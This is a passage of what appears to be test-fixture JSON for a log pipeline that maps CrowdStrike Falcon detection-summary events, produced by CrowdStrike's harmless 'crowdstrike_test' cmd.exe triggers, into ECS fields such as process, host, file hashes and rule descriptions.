"ip": [ - "10.128.0.24" - ], - "user": [ - "devuser" - ] - }, - "rule": { - "description": "Anexecutablewasrunwithacontradictingfileextension", - "name": "SuspiciousActivity" - }, - "source": { - "address": "10.128.0.24", - "ip": "10.128.0.24" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "devuser" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "GrandparentCommandLine": "cmd crowdstrike_test_medium", - "GrandparentImageFileName": "cmd.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentCommandLine": "cmd crowdstrike_test_low", - "PatternDispositionDescription": "Detection, standard detection.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 0, - "PatternId": 10307, - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 10, - "SeverityName": "Informational", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Falcon Overwatch", - "Technique": "Malicious Activity", - "Type": "ldt" - }, - "device": { - "id": "cff45d56127743a593792fb968dac907" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_informational\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760\",\"DataDomains\":\"Endpoint\",\"Description\":\"An informational level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_medium\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"d53f596e5ea7117ac18aae9f9bd8a481\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_low\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43450917603,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10307,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43455859437,\"ProcessStartTime\":1752575381,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", - "hash": { - "md5": "d53f596e5ea7117ac18aae9f9bd8a481", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682" - }, - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "domain": "dave-win10-3", - "hostname": "dave-win10-3", - "mac": [ - "BA-D0-00-BA-D0-00" - ], - "name": "dave-win10-3" - }, - "message": "An informational level detection was triggered on this process for testing purposes.", - "process": { - "command_line": "cmd crowdstrike_test_informational", - "end": "1970-01-01T00:00:00.000Z", - "entity_id": "43455859437", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe", - "parent": { - "entity_id": "43450917603", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe" - }, - "start": "2025-07-15T10:29:41.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682", - "d53f596e5ea7117ac18aae9f9bd8a481" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "description": "An informational level detection was triggered on this process for testing purposes.", - "name": "Suspicious Activity" - }, - "source": { - "address": "10.0.0.13", - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "GrandparentCommandLine": "cmd crowdstrike_test_high", - "GrandparentImageFileName": "cmd.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentCommandLine": "cmd crowdstrike_test_medium", - "PatternDispositionDescription": "Detection, standard detection.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 0, - "PatternId": 10306, - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 30, - "SeverityName": "Low", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Falcon Overwatch", - "Technique": "Malicious Activity", - "Type": "ldt" - }, - "device": { - "id": "cff45d56127743a593792fb968dac907" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_low\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776\",\"DataDomains\":\"Endpoint\",\"Description\":\"A low level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_high\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"86920ea0b350c9a3e3752a6aba6e1143\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_medium\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43448891811,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10306,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43450917603,\"ProcessStartTime\":1752575368,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", - "hash": { - "md5": "86920ea0b350c9a3e3752a6aba6e1143", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" - }, - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "domain": "dave-win10-3", - "hostname": "dave-win10-3", - "mac": [ - "BA-D0-00-BA-D0-00" - ], - "name": "dave-win10-3" - }, - "message": "A low level detection was triggered on this process for testing purposes.", - "process": { - "command_line": "cmd crowdstrike_test_low", - "end": "1970-01-01T00:00:00.000Z", - "entity_id": "43450917603", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe", - "parent": { - "entity_id": "43448891811", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe" - }, - "start": "2025-07-15T10:29:28.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", - "86920ea0b350c9a3e3752a6aba6e1143" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "description": "A low level detection was triggered on this process for testing purposes.", - "name": "Suspicious Activity" - }, - "source": { - "address": "10.0.0.13", - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "GrandparentCommandLine": "cmd crowdstrike_test_critical", - "GrandparentImageFileName": "cmd.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentCommandLine": "cmd crowdstrike_test_high", - "PatternDispositionDescription": "Detection, standard detection.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 0, - "PatternId": 10305, - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 50, - "SeverityName": "Medium", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Falcon Overwatch", - "Technique": "Malicious Activity", - "Type": "ldt" - }, - "device": { - "id": "cff45d56127743a593792fb968dac907" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_medium\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744\",\"DataDomains\":\"Endpoint\",\"Description\":\"A medium level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_critical\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"645b4fecb42fb954858850fe127ceb98\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_high\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43447659975,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10305,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43448891811,\"ProcessStartTime\":1752575354,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 47, - "type": [ - "info" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", - "hash": { - "md5": "645b4fecb42fb954858850fe127ceb98", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" - }, - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "domain": "dave-win10-3", - "hostname": "dave-win10-3", - "mac": [ - "BA-D0-00-BA-D0-00" - ], - "name": "dave-win10-3" - }, - "message": "A medium level detection was triggered on this process for testing purposes.", - "process": { - "command_line": "cmd crowdstrike_test_medium", - "end": "1970-01-01T00:00:00.000Z", - "entity_id": "43448891811", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe", - "parent": { - "entity_id": "43447659975", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe" - }, - "start": "2025-07-15T10:29:14.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", - "645b4fecb42fb954858850fe127ceb98" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "description": "A medium level detection was triggered on this process for testing purposes.", - "name": "Suspicious Activity" - }, - "source": { - "address": "10.0.0.13", - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "GrandparentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ", - "GrandparentImageFileName": "cmd.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentCommandLine": "cmd crowdstrike_test_critical", - "PatternDispositionDescription": "Detection, standard detection.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "RegistryOperationBlocked": false, - "Rooting": false, - "SensorOnly": false, - "SuspendParent": false, - "SuspendProcess": false - }, - "PatternDispositionValue": 0, - "PatternId": 10304, - "PlatformId": "0", - "PlatformName": "Windows", - "SensorId": "cff45d56127743a593792fb968dac907", - "Severity": 70, - "SeverityName": "High", - "SourceProducts": "Falcon Insight", - "SourceVendors": "CrowdStrike", - "Tactic": "Falcon Overwatch", - "Technique": "Malicious Activity", - "Type": "ldt" - }, - "device": { - "id": "cff45d56127743a593792fb968dac907" - }, - "event": { - "category": [ - "malware" - ], - "kind": "alert", - "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_high\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824\",\"DataDomains\":\"Endpoint\",\"Description\":\"A high level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"099d5a3c2f87817751337a9cf8d6a70b\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_critical\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43444774922,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10304,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43447659975,\"ProcessStartTime\":1752575345,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":70,\"SeverityName\":\"High\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", - "hash": { - "md5": "099d5a3c2f87817751337a9cf8d6a70b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" - }, - "name": "cmd.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" - }, - "host": { - "domain": "dave-win10-3", - "hostname": "dave-win10-3", - "mac": [ - "BA-D0-00-BA-D0-00" - ], - "name": "dave-win10-3" - }, - "message": "A high level detection was triggered on this process for testing purposes.", - "process": { - "command_line": "cmd crowdstrike_test_high", - "end": "1970-01-01T00:00:00.000Z", - "entity_id": "43447659975", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe", - "parent": { - "entity_id": "43444774922", - "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", - "name": "cmd.exe" - }, - "start": "2025-07-15T10:29:05.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", - "099d5a3c2f87817751337a9cf8d6a70b" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "description": "A high level detection was triggered on this process for testing purposes.", - "name": "Suspicious Activity" - }, - "source": { - "address": "10.0.0.13", - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "win10_user3" - } - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", - "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528", - "DataDomains": "Endpoint", - "ExternalApiType": "Event_EppDetectionSummaryEvent", - "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE", - "GrandparentImageFileName": "explorer.exe", - "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", - "HostGroups": [ - "6b15afc3ea3a42ed810b5c163e490a9d" - ], - "MACAddress": "ba-d0-00-ba-d0-00", - "Objective": "Falcon Detection Method", - "ParentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ", - "PatternDispositionDescription": "Detection, standard detection.", - "PatternDispositionFlags": { - "BlockingUnsupportedOrDisabled": false, - "BootupSafeguardEnabled": false, - "ContainmentFileSystem": false, - "CriticalProcessDisabled": false, - "Detect": false, - "FsOperationBlocked": false, - "HandleOperationDowngraded": false, - "InddetMask": false, - "Indicator": false, - "KillActionFailed": false, - "KillParent": false, - "KillProcess": false, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - 